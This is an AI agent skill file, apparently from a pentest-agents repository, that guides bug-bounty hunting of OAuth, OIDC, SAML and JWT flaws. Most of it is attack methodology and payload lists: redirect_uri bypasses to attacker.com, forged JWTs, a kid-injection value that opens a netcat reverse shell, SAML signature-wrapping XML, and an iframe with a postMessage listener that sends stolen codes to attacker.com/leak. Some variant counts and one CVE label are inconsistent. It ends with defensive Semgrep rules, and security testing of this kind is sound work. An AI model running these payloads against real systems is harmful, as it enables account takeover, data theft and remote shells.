Pentest agents hunt oauth

From H-mmer/pentest-agents · View interactive version

Pentest agents hunt oauth is an AI agent skill from the GitHub repository H-mmer/pentest-agents. Hunting skill for OAuth 2.0 / 2.1, OpenID Connect (OIDC), SAML SSO, and JWT authentication. Built from 365 public OAuth/SSO bug bounty reports across HackerOne, GitHub Security Advisories, PortSwigger Research, GitHub Security Lab, Detectify, Doyensec, Salt Labs, Semperis, Obsidian Security, Trace37

How to use this skill

Skill file

Crown Jewel Targets

OAuth/OIDC/SAML/JWT is the universal entry point to every enterprise account. A single missing state check or loose redirect_uri regex turns into a one-click ATO and the program rates it Critical because the impact is multiplicative — once you ride someone's session, you have all their data, all their integrations, all their tokens. The 24-month meta has shifted decisively toward six asset types. All CVEs below verify against NVD.

1. MCP servers and agentic LLM OAuth (the new gold rush, 2025-2026 meta). Model Context Protocol servers exploded in adoption with broken OAuth implementations. CVE-2025-4143 (Cloudflare workers-oauth-provider missing redirect_uri validation, fixed v0.0.5) and CVE-2025-4144 (PKCE downgrade in same library) define the opening salvo. Obsidian Security's Square MCP one-click ATO (July-September 2025 disclosures, fixed late September 2025) showed anonymous-cookie injection chained with IdP consent caching. CVE-2025-6514 (mcp-remote OS command exec via crafted authorization_endpoint URL, 558,846 downloads affected, JFrog disclosure) and CVE-2025-49596 (Anthropic MCP Inspector unauth RCE, 38K weekly downloads). FastMCP OAuth Proxy missing resource validation (GHSA-5h2m-4q8j-pqpj) means tokens issued for one MCP server work against any MCP server sharing the same authorization server. Hunt MCP servers first — every developer is wiring up OAuth for the first time and getting it wrong.

2. SAML on enterprise SSO (parser-differential renaissance). CVE-2025-25291 + CVE-2025-25292 (ruby-saml signature wrapping via REXML/Nokogiri parser differential, ahacker1 + Peter Stöckli, GHSL-2024-329 + GHSL-2024-330, GitHub Security Lab) opened a critical hole in any Ruby app using SAML — including unauthenticated admin access to GitLab Enterprise as demonstrated by Gareth Heyes and Zakhar Fedotkin in PortSwigger's "SAML Roulette" research (March 2025). CVE-2025-46572 (passport-wsfed-saml2 SAML signature wrapping, Auth0/Okta), CVE-2025-47949 (samlify SAML signature wrapping, npm samlify < 2.10.0), CVE-2024-45409 (ruby-saml ahacker1 baseline). Pair this with Admidio SAML (GHSA-p9w9-87c8-m235 ACS URL injection, GHSA-25cw-98hg-g3cg signature validation result discarded — both 2026, high severity). Old SAML libraries on enterprise SSO are paying again.

3. JWT algorithm confusion (the regression class). CVE-2026-22817 (Hono JWT middleware RS256→HS256 confusion, CVSS 8.2, Cloudflare Workers/Deno/Bun ecosystem, fixed 4.11.4), CVE-2026-22818 (Hono JWK middleware untrusted header.alg fallback when JWK lacks alg, GHSA-3vhc-576x-3qv4), CVE-2024-54150 (cjwt C library RS/EC/PS algorithm confusion, fixed 2.3.0), CVE-2024-37568 (Authlib HMAC verification with asymmetric public key, milliesolem disclosure), CVE-2025-61152 (python-jose alg=none, disputed but real on verify_signature: False configurations). Every JWT library that doesn't pin algorithms is exploitable. Greppable in 30 seconds with jwt.verify(token, secret) patterns.

4. nOAuth and Entra ID identity confusion (Microsoft pays directly). CVE-2024-21632 (omniauth-microsoft_graph nOAuth, GHSA-5g66-628f-7cvj, fixed 2.0.0) is the canonical disclosed example of Descope's June 2023 nOAuth research — apps trusting the email claim from Entra ID get cross-tenant ATO. Semperis found 9% of Entra Gallery apps still vulnerable in June 2025; estimated 15,000+ SaaS apps still exposed. Descope earned $75K+ in coordinated bounties for the original nOAuth class. CVE-2025-55241 (Dirk-jan Mollema, Entra ID actor token cross-tenant Global Admin impersonation, CVSS 10.0, fixed July 17 2025) extended the class to Microsoft itself — any free Entra tenant could impersonate any user in any other tenant via the legacy Azure AD Graph API not validating the actort token's originating tenant. Hunt every "Sign in with Microsoft" button by registering a free Entra tenant and changing your email.

5. Authorization server implementations on managed identity platforms. CVE-2024-52289 (Authentik OAuth2 regex redirect_uri bypass via unescaped ., Lukas Omegapoint disclosure, fixed 2024.10.3 / 2024.8.5, GHSA-3q5w-6m3x-64gj), CVE-2024-23647 (Authentik PKCE downgrade by removing code_challenge, fixed 2023.10.7), CVE-2023-48228 (Authentik PKCE bypass by omitting code_verifier), CVE-2024-22258 (Spring Authorization Server PKCE downgrade for Confidential Clients, fixed 1.2.3 / 1.1.6 / 1.0.6), CVE-2026-32245 (tinyauth OIDC code not bound to client on token exchange, GHSA-xg2q-62g2-cvcm). These pay because deploying Keycloak/Authentik/Hydra/Auth0/Spring Auth Server is what every mid-size company does — find one bug, hit thousands of downstream apps.

6. GitOps controllers and Kubernetes OIDC. CVE-2025-55190 (Argo CD project API token retrieves repository credentials, CVSS 7.7, GHSA-786q-9hcg-v9ff, fixed 3.1.2/3.0.14/2.14.16/2.13.9), CVE-2026-23990 (Flux Operator Web UI impersonation bypass via empty OIDC claims, fixed 0.40.0, GHSA-4xh5-jcj2-ch8q), CVE-2026-40161 (Tekton git resolver leaks system Git API token to user-controlled serverURL, CVSS 8.4, GHSA-wjxp-xrpv-xpff). These pay the highest because compromising the GitOps controller gives you cluster-wide admin and supply-chain RCE in one chain.

7. The OAuth/SSO supply-chain — Salesloft Drift class. UNC6395 / ShinyHunters used stolen Drift OAuth tokens to exfiltrate 1.5 billion Salesforce records from 760 companies (August 2025). The pivot was: GitHub repo compromise → AWS access → Drift OAuth refresh tokens → Salesforce + Google Workspace. Cloudflare alone had 104 API tokens leaked through Salesforce support cases. Bug bounty correlate: hunt for third-party OAuth integrations with overscoped tokens and no rotation policy. Programs paying for SaaS connector misconfiguration include Atlassian, Notion, Slack, Asana, Monday — all tracked under their respective HackerOne programs.

What pays the most: pre-auth, no user interaction, single click → ATO. Reddit one-click ATO via Sign-in-with-Apple paid Frans Rosén $10,000 (Detectify 2022, HackerOne Reddit program, disclosed at https://infosecwriteups.com/this-is-how-he-could-hijack-reddit-accounts-with-just-one-click-a-10-000-bug-bounty-7fd8d54d5582, replicated pattern still pays mid-2026 on smaller programs). Anmol Singh Yadav's race-condition OAuth token mint paid $8,500 P1 in 2025 on a Fortune 500 cloud platform — disclosed via InfoSec Write-ups https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c. Open redirect → OAuth ATO chain consistently reaches $5K-$15K range when escalating from a "Low" standalone open redirect (DEV.to lucky_lonerusher 2026 disclosed $15K bug bounty program payout https://dev.to/lucky_lonerusher/open-redirect-to-account-takeover-the-exploit-chain-most-hunters-miss-in-2026-3j1g). Vercel's WAF-bypass H1 program pays separately for bypasses against React Server Components endpoints (CVE-2025-66478 / CVE-2025-55182). On GitHub Security Lab: ruby-saml ahacker1 + Peter Stöckli engagement was a paid private bug bounty engagement (amount undisclosed, but classed as "blockbuster" by GitHub). Standalone "missing state parameter on /oauth/callback" pays $200-$2K depending on chainability per disclosed HackerOne corpus pattern — never submit it alone.

Attack Surface Signals

Greppable / fingerprintable / scannable. Every signal below is tied to a specific product class and the resulting CVE candidate.

HTTP-level signals on a live target:

JS / DOM signals (audit OAuth consent and callback pages for third-party scripts — Frans Rosén dirty-dancing):

Source-code signals (ripgrep one-liners — see Source Review for the full set):

# Missing state validation
rg -n 'oauth.*callback|/auth/callback|/oauth/callback' --type js --type py --type rb --type go --type java | rg -v 'state'

# alg accepted from token header (algorithm confusion)
rg -n 'jwt\.(decode|verify)\([^,)]+\)' --type js --type py --type ts -g '!*test*'
rg -n 'jwt\.decode\([^,]+,\s*verify=False' --type py

# OAuth client_secret exposed in frontend
rg -n 'REACT_APP_.*SECRET|VITE_.*SECRET|NEXT_PUBLIC_.*SECRET|client_secret\s*[:=]\s*["\x27]' \
   -g 'package.json' -g '*.env*' -g 'src/**/*.{js,jsx,ts,tsx}'

# email used as user identifier (nOAuth pattern)
rg -n 'user.*\.email|claims\.email|userInfo\.email|profile\.email|id_token\.email' \
   --type js --type py --type rb --type go -g '!*test*' | rg 'find|create|update|merge|upsert|getOrCreate'

# OAuth callback writing token to URL fragment
rg -n 'response_type=[^"]*token|response_mode=fragment|window\.location\.hash.*token' \
   --type js --type ts

# redirect_uri validation by substring/regex (instead of exact match)
rg -n 'redirect_uri.*\.(startsWith|contains|matches|test|search|indexOf)' --type js --type ts --type py
rg -n 'redirect_uri\s*[=~][^=]*regex|RegExp.*redirect' --type js --type rb --type py

Insertion Point Taxonomy

Every place attacker-controlled data flows into OAuth/OIDC/SAML/JWT processing — your hunting checklist:

Step-by-Step Hunting Methodology

  1. Map the OAuth flow with Burp. Log into the application, watch every request to /oauth/, /auth/, /saml/, /sso/, /.well-known/, /connect/, /oidc/. Record client_id, redirect_uri, response_type, response_mode, state, nonce, code_challenge, code_challenge_method. If state is missing → test CSRF immediately. If code_challenge is missing on a public client → flag PKCE absence (CVE-2024-23647 family). If you see SAML, capture both <AuthnRequest> and <Response> bodies — these go to the SAML wrapping tests later.
  1. Fingerprint the authorization server. Hit /.well-known/openid-configuration, /.well-known/oauth-authorization-server, /.well-known/oauth-protected-resource, /oauth/authorize, /oauth/.well-known/jwks.json, /saml/metadata, /.well-known/saml-configuration. The software field, issuer, supported grant types (look for password ROPC, client_credentials, urn:ietf:params:oauth:grant-type:token-exchange), token_endpoint_auth_methods_supported, code_challenge_methods_supported — all of these reveal the AS implementation. Authentik metadata leaks goauthentik strings; Keycloak leaks realm-shaped paths; Auth0 leaks *.auth0.com; Cognito has the cognito-idp.<region>.amazonaws.com issuer. If you see password in grant_types_supported and the AS is internet-exposed → ROPC credential spray (Grab H1 #3635703 concedoidc).
  1. Test redirect_uri validation — the 12 bypass families. Send the original auth request to Burp Repeater. Mutate redirect_uri through this sequence: (a) substring https://target.com.attacker.com; (b) userinfo https://attacker.com@target.com; (c) IDN https://tаrget.com (Cyrillic а); (d) path traversal https://target.com/callback/../../../@attacker.com; (e) URL encoding https%3A%2F%2Fattacker.com; (f) double encoding https%253A%252F%252Fattacker.com; (g) fragment https://target.com/callback#@attacker.com; (h) localhost http://127.0.0.1:80@attacker.com; (i) IPv6 http://[::1]@[::1]@attacker.com (Google bypass per @weirdmachine 2025); (j) regex unescaped dot https://app0example.com/oauth2/callback (CVE-2024-52289 Authentik); (k) wildcard subdomain takeover; (l) any open redirect on the same domain with ?next=https://attacker.com. If any returns 302 to your destination with code= or access_token= → critical, but verify the code is bound to a real victim before reporting (deliver via iframe to admin user, never to yourself).
  1. Break the state parameter intentionally (Frans Rosén dirty dancing). With a Burp-modified flow, switch response_type=code to response_type=code,id_token or response_type=token. Switch response_mode=query to response_mode=fragment or response_mode=form_post. Send your tainted state to a victim — if the victim's browser completes the flow but the website rejects state, the code lands at the OAuth provider but is never consumed. The window between code issuance and expiry is yours to use. Then audit every page reachable in the OAuth dance for third-party JS (GTM, analytics, chat widgets, session replay). Any postMessage listener with no origin check, any location.href read by a third-party, any target=_blank link with no rel=noopener — these become the leak gadget.
  1. PKCE downgrade testing — three variants. Variant 1: drop code_verifier from /oauth/token body — CVE-2023-48228 Authentik. Variant 2: drop code_challenge from the initial authorization request — CVE-2024-23647 Authentik, Spring Authorization Server CVE-2024-22258 for confidential clients only. Variant 3 (Cloudflare workers-oauth-provider CVE-2025-4144 family): omit PKCE from authorization but include code_verifier in token exchange — fail-open libraries accept it. Variant 4 (trace37 2026): you control the authorization URL via iframe/popup, so you choose the code_challenge and you know the code_verifier — PKCE only protects against in-transit interception, not against initiation control. If iframe-able + auto-login → the PKCE protection collapses; chain with postMessage capture for one-click ATO.
  1. JWT algorithm confusion — three variants. Variant 1: change alg to none, strip signature, send. Variant 2: change alg from RS256 to HS256, sign payload with the public key as HMAC secret using jwt_tool -X k -pk public.pem -p public.pem. Variant 3: change alg to none with case variation nOnE, NoNE, NULL, None (CVE-2026-22817 Hono family). Variant 4 (Hono CVE-2026-22818): if JWKS endpoint returns keys without alg field → middleware falls back to header alg → algorithm confusion. Test with kid injection: kid: ../../../../dev/null (forces empty key → HMAC with empty string), kid: ../../../etc/passwd, kid: 1' UNION SELECT 'attacker_key. Test jku redirect: change jku to attacker JWKS URL with same kid. If aud is empty or missing → cross-service relay (CVE-2025-27370 / CVE-2025-27371 OpenID Federation class); replay tokens from one service against another in the same federation.
  1. SAML signature wrapping and parser differentials. Capture a valid <SAMLResponse> from your own login. Use SAML Raider Burp extension. Variant 1 (XSW10): wrap original <Assertion> in attacker-controlled assertion; copy original <Signature> referencing original; many SPs canonicalize first child only. Variant 2 (CVE-2025-25291 ruby-saml DOCTYPE): inject DOCTYPE <!DOCTYPE x [<!ATTLIST y z 'value'>]> that REXML and Nokogiri parse differently — REXML validates signature on one node, Nokogiri reads attributes from another. Variant 3 (CVE-2025-25292 ruby-saml namespace): redefine xmlns:ds to point at a fake <ds:Signature> Nokogiri reads while REXML reads original. Variant 4 (CVE-2026-22-class missing destination check): use any valid signed assertion from any tenant of the IdP, modify NameID to victim, send (Admidio GHSA-25cw-98hg-g3cg discards validateSignature() return value entirely). Variant 5 (CVE-2025-46572 passport-wsfed-saml2): obtain any single signed SAML assertion from same IdP, replace user identity. If the SP's library is ruby-saml, samlify, passport-wsfed-saml2, python3-saml, php-saml, simplesamlphp, omniauth-saml → version check first; out-of-date is a confirmed crit.
  1. nOAuth and identity-confusion testing on Microsoft "Sign in with Microsoft". Create a free Entra ID tenant (free.azure.microsoft.com). Add yourself as a user, set mail attribute to victim's email address (no domain verification required for the tenant, only for emitting the email claim — but CVE-2024-21632 omniauth-microsoft_graph style apps don't check xms_edov). Now log in to the target with "Sign in with Microsoft" using your Entra account. If the application uses email claim (not sub or oid) for account lookup → ATO. Variant: app uses preferred_username or upn → still ATO if mutable. If app already has a victim's account, account-merge logic completes the takeover (Descope nOAuth original disclosure, Semperis 9% of Entra Gallery apps still vulnerable June 2025).
  1. Race-condition testing on token endpoints (Anmol $8500 P1 pattern, disclosed via HackerOne https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c). Identify /oauth/token, /sso/token, /auth/exchange, GraphQL exchangeToken mutations. Get a valid authorization_code (don't consume it yet). Use Turbo Intruder with single-packet attack (HTTP/2): submit 50 parallel token-exchange requests with the same code and 50 different code_verifier values. RFC 6749 §4.1.2 says codes are single-use; many implementations check-then-use without locking. If 2+ requests return valid access_token → race-condition token mint, P1 by H1 standards if the second token is for a different session.
  1. Audit OAuth endpoints for OWASP API issues — even on stock implementations, the surrounding endpoints often have separate bugs. Test /oauth/clients (admin-only?), /oauth/applications/<id> (IDOR — H1 disclosed multiple), /account/integrations/<provider> (CSRF on OAuth linking — Bugcrowd #503922 family), /connections/<id>/disconnect (CSRF on OAuth unlinking → DOS account by unlinking SSO — H1 #976603), token introspection /introspect without client auth (Grab H1 #3635703 RFC 7662 violation). Test scope upgrade in token exchange (request narrower scope at auth, request wider scope at token exchange — should fail per RFC, often doesn't).
  1. MCP-specific OAuth methodology (the 2025-2026 meta). For any MCP server (URL ends in /mcp, /.well-known/oauth-protected-resource, WWW-Authenticate: Bearer realm="MCP"): (a) check redirect_uri validation on /authorize (CVE-2025-4143); (b) test PKCE downgrade (CVE-2025-4144); (c) check that the issued token's audience binds to this MCP server, not a shared base URL (FastMCP GHSA-5h2m-4q8j-pqpj); (d) audit /register Dynamic Client Registration for SSRF via jwks_uri and for arbitrary redirect_uris (n8n GHSA-f6x8-65q6-j9m9); (e) test session-cookie injection via subdomain (Obsidian Square MCP); (f) check whether the MCP server validates the resource parameter per RFC 8707; (g) check whether OAuth metadata at /.well-known/oauth-protected-resource is HTTPS-pinned and the path-suffixed URL matches. The MCP 2025-11-25 spec mandates OAuth 2.1; most servers ship something looser.
  1. Final pre-submission validation (Gate 0). Demonstrate the bug end-to-end against a victim account you control (your second account, alt admin user, or H1's invited test admin). Capture Burp request/response for the auth request, the leaked code/token, and the privileged action that proves session ride. Record asciinema or 30-60s mp4. Verify scope: target asset is in-scope today, not yesterday. Re-run the exploit one hour before submission to confirm it still works (programs frequently silent-patch OAuth bugs). Write the impact statement: "X user data accessible / Y financial transactions executable / Z admin capability." If you can't write that sentence with concrete data, you have a finding, not a report.

Payload & Detection Patterns

Sub-technique A — redirect_uri bypass primitives

# A.1 Substring/lookalike host bypass (Grab H1 #3636415 mallUrl pattern)
?redirect_uri=https://target.com.attacker.com/oauth/callback
?redirect_uri=https://attacker.com/?target.com=1
?redirect_uri=https://target-com.attacker.com
?redirect_uri=https://target.com.evilsubdomain.com
?redirect_uri=https://targetcom.attacker.com

# A.2 Userinfo bypass (RFC 3986 §3.2.1 — host parser confusion)
?redirect_uri=https://target.com@attacker.com/oauth/callback
?redirect_uri=https://target.com:80@attacker.com
?redirect_uri=https://attacker.com#@target.com
?redirect_uri=https://attacker.com?@target.com

# A.3 IPv6 + userinfo — Google bypass (@weirdmachine HackerNoon 2025)
?redirect_uri=http://[::1]@[::1]@attacker.com/
?redirect_uri=http://[::ffff:127.0.0.1]@attacker.com/
?redirect_uri=https://[2606:4700::1]@attacker.com/

# A.4 Path traversal (Pixiv H1 #1861974 $2000)
?redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/[attacker_product_id]
?redirect_uri=https://target.com/callback/..%2F..%2Fanything?evil=1
?redirect_uri=https://target.com/callback/%2e%2e/%2e%2e/

# A.5 IDN homograph (HackTricks OAuth wiki)
?redirect_uri=https://tаrget.com/oauth-callback     # 'a' is U+0430 Cyrillic
?redirect_uri=https://target.cоm/                    # 'o' is U+043E Cyrillic
?redirect_uri=https://xn--trget-zoa.com/             # punycode-only validation

# A.6 Regex bypass — unescaped dot (CVE-2024-52289 Authentik, Lukas Omegapoint)
?redirect_uri=https://app0example.com/oauth2/callback   # if regex was https://app.example.com
?redirect_uri=https://app-example.com/oauth2/callback
?redirect_uri=https://appXexample.com/oauth2/callback

# A.7 Wildcard subdomain takeover — find dangling DNS in *.target.com first
?redirect_uri=https://abandoned-subdomain.target.com/oauth-callback

# A.8 Open-redirect chain on whitelisted host (DEV.to lucky_lonerusher 2026, $15K paid)
?redirect_uri=https://target.com/logout?next=https://attacker.com/grab
?redirect_uri=https://target.com/redirect?url=https://attacker.com
?redirect_uri=https://target.com/api/v1/redirect?to=https://attacker.com

Sub-technique B — state / CSRF / response-type manipulation (dirty dancing)

# B.1 Response-type switching — fragment leakage of code
&response_type=code&response_mode=query                      # baseline (good)
&response_type=token&response_mode=fragment                   # implicit, leaks #access_token
&response_type=code,id_token&response_mode=fragment           # hybrid → code lands in fragment
&response_type=code id_token token&response_mode=fragment     # OIDC hybrid all-in-fragment
&response_type=token&response_mode=form_post                  # form_post can be replayed if attacker controls callback page

# B.2 State parameter attacks (RFC 6749 §10.12)
# B.2.a Drop state entirely — CSRF
&state=                                                       # empty
                                                              # omitted entirely
# B.2.b Fixate state — Anmol's H1 corpus pattern, also bugbounty.ch May 2023 case
&state=attacker_known_value

# B.3 Force browser swap (SySS Jonas Primbs Browser Swapping IETF 124, 2025-11)
# Attacker initiates flow in Browser A, sends auth URL to victim, victim completes in Browser B
# AS sends code to client; client rejects state mismatch but doesn't invalidate code → attacker uses code

# B.4 nonce removal — OIDC ID Token replay (CVE-2024-10318 NGINX OIDC)
&nonce=                                                       # empty
                                                              # omitted on subsequent replay

# B.5 prompt=none silent re-authentication (use after one consent for unlimited code minting)
&prompt=none&max_age=0

Sub-technique C — JWT attack primitives

# C.1 alg=none variants (CVE-2025-61152 python-jose, CVE-2026-22817 Hono case-bypass)
{"alg":"none","typ":"JWT"}.{"sub":"victim","role":"admin"}.
{"alg":"None","typ":"JWT"}...
{"alg":"nOnE","typ":"JWT"}...
{"alg":"NULL","typ":"JWT"}...

# C.2 RS256 → HS256 algorithm confusion (CVE-2024-54150 cjwt, CVE-2024-37568 authlib)
# Step: extract public key from JWKS endpoint /.well-known/jwks.json
# Step: jwt_tool -X k -pk public.pem -p attacker_payload.txt  → forge HS256 token signed with PEM as secret

# C.3 kid injection (Hacking JWT Tokens corpus refs in /tmp corpus)
{"alg":"HS256","kid":"../../../dev/null","typ":"JWT"}        # forces empty key → sign with empty string
{"alg":"HS256","kid":"key' UNION SELECT 'attacker_key' --","typ":"JWT"}    # SQLi in kid lookup
{"alg":"HS256","kid":"|nc attacker.com 4444 -e /bin/sh","typ":"JWT"}        # command injection

# C.4 jku redirection (Hacking JWT Tokens: jku Claim Misuse — corpus titles)
{"alg":"RS256","jku":"https://attacker.com/jwks.json","kid":"attacker"}
{"alg":"RS256","jku":"https://target.com#@attacker.com/jwks.json","kid":"attacker"}     # userinfo bypass on jku

# C.5 Audience confusion / cross-service relay (CVE-2025-27370/27371 OpenID Federation)
{"aud":"","iss":"https://target/idp"}                        # empty audience → many libs accept all
{"aud":["target","alt-service"],"iss":"https://target/idp"} # token replays across services

# C.6 Embedded JWK (Hacking JWT Tokens: JWS Standard for JWT)
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_n>","e":"AQAB"}}        # libs that trust embedded JWK = forge anything

# C.7 Entra ID actor token (CVE-2025-55241 Dirk-jan Mollema)
# Outer token: legitimate-looking request to victim tenant SharePoint with victim_oid
# Inner token in actort claim: attacker's own free-tenant token
# Result: cross-tenant Global Admin impersonation

# C.8 njwt buffer poisoning (corpus: `njwt` allocates uninitialized Buffers when number is passed in base64urlEncode)
require('njwt').create({sub:'victim'}, 0).compact()           # number arg → uninitialized buffer leak

Sub-technique D — SAML signature wrapping primitives (XSW1 through XSW8 + ruby-saml class)

<!-- D.1 XSW1 — wrap original assertion, copy original signature -->
<samlp:Response>
  <saml:Assertion ID="evil"><Subject><NameID>attacker</NameID></Subject>
    <ds:Signature>...original ref to legit ID...</ds:Signature>
    <saml:Assertion ID="legit"><Subject><NameID>victim</NameID></Subject></saml:Assertion>
  </saml:Assertion>
</samlp:Response>

<!-- D.2 ruby-saml DOCTYPE parser differential (CVE-2025-25291, ahacker1 GHSL-2024-329) -->
<!DOCTYPE samlp:Response [
  <!ATTLIST saml:Assertion ID ID #IMPLIED>
  <!ENTITY x "data">
]>
<!-- REXML truncates ATTLIST and validates signature on assertion ID="real"; Nokogiri reads attacker-injected ID="evil" -->

<!-- D.3 ruby-saml namespace confusion (CVE-2025-25292, @p- GHSL-2024-330, PortSwigger SAML Roulette) -->
<samlp:Response xmlns:ds="evil-ns">
  <ds:Signature>...</ds:Signature>     <!-- Nokogiri reads under evil-ns -->
  <ds:Signature>...</ds:Signature>     <!-- REXML reads default-ns (signs original) -->
</samlp:Response>

<!-- D.4 ACS URL injection (Admidio GHSA-p9w9-87c8-m235) -->
<samlp:AuthnRequest AssertionConsumerServiceURL="https://attacker.com/acs" Destination="https://idp.target/sso">

<!-- D.5 OneUptime multi-assertion (GHSA-5w5c-766x-265g) -->
<saml:Assertion><Subject><NameID>attacker</NameID></Subject></saml:Assertion>     <!-- assertion[0] read by getEmail -->
<saml:Assertion ID="signed"><Signature>...</Signature><Subject><NameID>legit</NameID></Subject></saml:Assertion>

<!-- D.6 Comment injection in NameID (XSW classic — Cisco Duo et al historical) -->
<saml:NameID>attacker@target.com<!---->.victim@target.com</saml:NameID>           <!-- some parsers truncate at comment -->

Sub-technique E — PKCE bypass primitives

# E.1 Drop code_verifier from token request (CVE-2023-48228 Authentik)
POST /oauth/token
grant_type=authorization_code&code=<code>&client_id=<id>
                                # (no code_verifier)

# E.2 Drop code_challenge from authorization request (CVE-2024-23647 Authentik, Spring CVE-2024-22258)
GET /oauth/authorize?response_type=code&client_id=<id>&redirect_uri=<uri>
                                # (no code_challenge / code_challenge_method)

# E.3 Cloudflare workers-oauth-provider bypass (CVE-2025-4144 — fixed in v0.0.5)
# Auth request without code_challenge → token request WITH code_verifier was accepted
GET /authorize?response_type=code&client_id=...&redirect_uri=...
                                # (no code_challenge)
POST /token
grant_type=authorization_code&code=<code>&code_verifier=anything_random

# E.4 PKCE bypass via attacker-controlled URL (trace37 labs Feb 2026)
# Attacker iframes the SSO authorize URL; supplies own code_challenge; knows code_verifier
# Captures the resulting code via MessagePort injection or parent.postMessage
# PKCE only protects in-transit; not against initiation-control
<iframe src="https://idp.target.com/authorize?...&code_challenge=ATTACKER_HASH&code_challenge_method=S256"></iframe>
window.addEventListener('message', e => fetch('https://attacker.com/leak?'+e.data));

# E.5 Authorization code injection (RFC 9700 §4.5.3.1)
# Attacker initiates own session, gets own code; injects victim's code into attacker's session
# Even with PKCE, if attacker controls victim's code_challenge value → injection works (RFC 9700 §4.5.3.2)

Sub-technique F — open redirect → OAuth ATO chains

# F.1 Logout redirect (lovable.dev H1 #3581815, post_logout_redirect_uri family)
/logout?redirect=https://attacker.com
/oauth/end_session?post_logout_redirect_uri=https://attacker.com
/saml/slo?RelayState=https://attacker.com           # H1 #2263044 user_saml

# F.2 Login next-parameter post-auth landing (commonly named: next, returnTo, returnUrl, callback, redirect, dest, redir, url)
/login?next=https://attacker.com&continue=https://attacker.com
/auth/login?ReturnUrl=https://attacker.com           # bountysecurity.ai .NET ReturnUrl pattern, ovofinansial CRA pattern
/sso?returnTo=https://attacker.com

# F.3 Path-traversal bypass (lovable.dev H1 #3599248 fix bypass via /..//)
/..//logout?redirect=https://attacker.com           # bypass naive same-origin check
/logout?redirect=//attacker.com                      # protocol-relative → browsers add current scheme
/logout?redirect=https:attacker.com                  # missing slashes — some libs accept

# F.4 OAuth-callback chain — open redirect on the redirect_uri's host
# 1. Find redirect_uri = https://app.target.com/oauth/callback (whitelisted)
# 2. Find open redirect at https://app.target.com/redir?url=ATTACKER (same host, not OAuth-related)
# 3. Set redirect_uri = https://app.target.com/redir?url=https://attacker.com/grab
# 4. AS validates "starts with target.com" → 302 to /redir → 302 to attacker.com with code

# F.5 Referer-leak chain (image injection on rockstargames H1 #314814, semrush #314814)
# Set redirect_uri to an HTML page on whitelisted domain that loads <img src="https://attacker.com/...">
# Referer header to attacker.com contains the OAuth code/token in the URL of the hosting page

Source Code Review Patterns

Semgrep rules (≥3, copy-pasteable YAML)

rules:
  - id: oauth-state-not-validated
    pattern-either:
      - pattern: $REQ.query.code
      - pattern: $REQ.query['code']
    pattern-not-inside: |
      if (... $REQ.query.state ...) { ... }
    message: |
      OAuth callback handler reads `code` without validating `state` parameter.
      Per RFC 6749 §10.12, state MUST be validated against the value stored
      at flow initiation. Missing this check = CSRF on OAuth linking, leading
      to account takeover (bugbounty.ch May 2023, H1 #850022 launchpad CSRF).
    severity: ERROR
    languages: [javascript, typescript]
rules:
  - id: jwt-decode-without-algorithm-pin
    pattern-either:
      - pattern: jwt.verify($TOKEN, $SECRET)
      - pattern: jwt.decode($TOKEN, verify=False)
      - pattern: jws.verify($TOKEN, $SECRET)
    message: |
      JWT verification without explicit `algorithms: ["RS256"]` allowlist.
      Vulnerable to alg=none (CVE-2025-61152), RS256→HS256 confusion
      (CVE-2024-37568, CVE-2026-22817 Hono CVSS 8.2). Always pin algorithms
      explicitly: jwt.verify(token, key, {algorithms: ["RS256"]}).
    severity: ERROR
    languages: [javascript, typescript, python]
rules:
  - id: oauth-email-as-user-identifier
    pattern-either:
      - pattern: User.findOne({email: $CLAIMS.email})
      - pattern: User.find_or_create_by(email: $CLAIMS.email)
      - pattern: db.users.where(email: $CLAIMS["email"]).first
    message: |
      Email claim used as primary user identifier. Vulnerable to nOAuth
      (CVE-2024-21632 omniauth-microsoft_graph, Descope 2023). Microsoft
      Entra emits unverified email claims by default for pre-June-2023 apps.
      Use the immutable `sub` claim or Entra's `oid` claim instead.
      For Microsoft tokens, also check `xms_edov` claim before trusting email.
    severity: ERROR
    languages: [ruby, javascript, typescript, python, go]
rules:
  - id: oauth-redirect-uri-substring-validation
    pattern-either:
      - pattern: $URI.startsWith($ALLOWED)
      - pattern: $URI.includes($ALLOWED)
      - pattern: $ALLOWED in $URI
      - pattern: re.match(r'.*' + $ALLOWED + '.*', $URI)
    metavariable-regex:
      metavariable: $URI
      regex: .*redirect.*
    message: |
      redirect_uri validated by substring match. Bypass with userinfo
      `https://allowed.com@attacker.com`, IDN homograph, or subdomain
      `https://allowed.com.attacker.com`. Per RFC 6749 §3.1.2.2, exact-match
      against pre-registered URIs is required. Authentik CVE-2024-52289
      (regex with unescaped dot) is the disclosed real-world example.
    severity: ERROR
    languages: [javascript, typescript, python, ruby, go]
rules:
  - id: oidc-code-not-bound-to-client
    pattern: |
      def $TOKEN_HANDLER(...):
        ...
        $ENTRY = code_storage.get($CODE)
        ...
        return generate_token($ENTRY.user, ...)
    pattern-not: |
      if $ENTRY.client_id != $REQ.client_id: ...
    message: |
      Authorization code redeemed without verifying the redeeming client
      matches the client the code was issued to. Per RFC 6749 §4.1.3,
      this binding is mandatory. CVE-2026-32245 tinyauth had this exact
      bug — refresh-token flow had the check, auth-code flow did not.
    severity: ERROR
    languages: [python, go, ruby, javascript]
rules:
  - id: saml-signature-validate-discarded
    pattern-either:
      - pattern: $OBJ.validateSignature(...)
      - pattern: validate_signature(...)
    pattern-not-inside: |
      $RESULT = ...
    message: |
      SAML signature validation result discarded — Admidio CVE-style
      (GHSA-25cw-98hg-g3cg). validateSignature() returns string-on-error
      instead of throwing, so unsigned/forged AuthnRequests slip through.
      Always assign the result and check explicitly: `valid = validate(...)`.
    severity: ERROR
    languages: [php, python, ruby, javascript]

ast-grep patterns (≥3, language-tagged)

# A.1 Detect missing audience verification on OIDC ID Token
ast-grep --pattern 'jwt.decode($TOKEN, $KEY, $$$OPTS)' --lang javascript \
  | rg -L 'audience|aud:'

# A.2 Detect Microsoft Graph email-claim trust (nOAuth CVE-2024-21632 family)
ast-grep --pattern 'token.User{ID: $$$, Email: $EMAIL}' --lang go

# A.3 Detect OAuth redirect_uri loose comparison
ast-grep --pattern '$URI.startsWith($PREFIX)' --lang javascript \
  | rg redirect_uri

